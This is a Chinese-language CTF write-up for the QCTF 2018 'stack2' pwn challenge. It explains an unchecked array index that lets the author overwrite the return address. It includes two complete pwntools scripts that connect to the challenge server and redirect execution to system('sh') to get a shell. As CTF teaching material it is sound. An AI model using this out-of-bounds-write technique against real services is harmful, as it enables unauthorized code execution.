pwn CTF 4th-QCTF-2018 stack2

先把程序跑一遍看看·~~~~~~~

pwn CTF 4th-QCTF-2018 stack2_第1张图片

然后我们好像可以 加数还有 改变数   4功能好像还是 求平均数的 ~~~~ 看来功能还是很齐全的吗~~~~

 然后我们

pwn CTF 4th-QCTF-2018 stack2_第2张图片

pwn CTF 4th-QCTF-2018 stack2_第3张图片

咦 这里的平均数为啥是  2.00呢 ~!~~~~  带着疑问去 看ida

pwn CTF 4th-QCTF-2018 stack2_第4张图片

这里好像没有什么毛病  限制了 输入的数量是99

然后往下看  

pwn CTF 4th-QCTF-2018 stack2_第5张图片

这里就是bug了    因为我们没有检查v13数组的边界 这里我们可以随意输入  然后劫持程序eip  

然后观察 哪里有system_addr   就ok了 但是 这里输入的是数字 好像有点麻烦

因为v13 是char 类型的数组 然后我们试着输入一下 

pwn CTF 4th-QCTF-2018 stack2_第6张图片

然后 去 栈 会发现 

pwn CTF 4th-QCTF-2018 stack2_第7张图片

这里其实应该能够注意得到  栈是小段模式  那么我们输入的时候 可以是 反着来  比如地址是 12345678  先输入78 45 34  12  

才能返回 正确的地址 然后 我们观察一下 哪里有我们system 的地址    

然后我们发现 本次(这个是会变化的  注意是我这次 运行的) 我们的返回地址FFCF77AC  而我们输入的地址是   FFCF7728  

那么偏移就是 0x84  然后之后我们找到 system_addr 就ok了  

然后就找到了  system_addr  

pwn CTF 4th-QCTF-2018 stack2_第8张图片

但是感觉这里/bin/bash 有点怪怪的啊~~~

先不管 我们试试 

 

#!/usr/bin/python
#coding:utf-8
 
from pwn import*

	



 
system_addr=0x080485AF
leave_offset=0x84


def write_addr(addr,va):
	io.sendline("3")
	io.recvuntil("which number to change:\n")
	io.sendline(str(addr))
	io.recvuntil("new number:\n")
	io.sendline(str(va))
	io.recvuntil("5. exit\n")

io=remote('111.198.29.45','31725')
io.recvuntil("How many numbers you have:\n")
io.sendline("1")
io.recvuntil("Give me your numbers\n")
io.sendline("1")
io.recvuntil("5. exit\n")


# write  system_addr

write_addr(leave_offset,0XAF)
write_addr(leave_offset+1,0X85)
write_addr(leave_offset+2,0X04)
write_addr(leave_offset+3,0X08)



io.sendline("5")
io.interactive()

如果你认为 到这就成功了  那就证明 你和我一样的单纯~~~~~~~~~~~~~~~~~~~~

竟然报错了 

pwn CTF 4th-QCTF-2018 stack2_第9张图片

纳尼??????????  本来我喜滋滋的准备cat flag 的  没有看到   没有找到那句话。。。。why??

/bin/bash 没有找到? ???????????????   emmmmmmmmmmmmmmmmmmmmmmm

有些奇怪 难道是 要/bin/sh???  按道理说 不应该啊  

然后我 就 无耻的翻了一下题解。。。。。。。。。。。。

这是官方放出的官方题解  https://www.xctf.org.cn/library/details/8723e039db0164e2f7345a12d2edd2a5e800adf7/

然后 这句话 亮了 

但是出题人在搭建docker环境时未注意,环境中只给了sh 

额   这个  emmmmm 比较可惜啊

没有办法  只能写入sh 了   值得一说的是   不能用原先的那个函数 

只能用本来的system  可以我们自己填参数的  

pwn CTF 4th-QCTF-2018 stack2_第10张图片  

就是这个 

 这个也比较简单 直接放出exp

#!/usr/bin/python
#coding:utf-8
 
from pwn import*

	



 
system_addr=0x080485AF
leave_offset=0x84


def write_addr(addr,va):
	io.sendline("3")
	io.recvuntil("which number to change:\n")
	io.sendline(str(addr))
	io.recvuntil("new number:\n")
	io.sendline(str(va))
	io.recvuntil("5. exit\n")

io=remote('111.198.29.45','31725')
io.recvuntil("How many numbers you have:\n")
io.sendline("1")
io.recvuntil("Give me your numbers\n")
io.sendline("1")
io.recvuntil("5. exit\n")


# write  system_addr  0x08048450

write_addr(leave_offset,0X50)
write_addr(leave_offset+1,0X84)
write_addr(leave_offset+2,0X04)
write_addr(leave_offset+3,0X08)
# sh_addr  0x08048987
leave_offset+=8
print leave_offset
write_addr(leave_offset,0x87)
write_addr(leave_offset+1,0X89)
write_addr(leave_offset+2,0X04)
write_addr(leave_offset+3,0X08)

io.sendline("5")
io.interactive()

 

pwn CTF 4th-QCTF-2018 stack2_第11张图片

 

你可能感兴趣的:(栈溢出,堆溢出)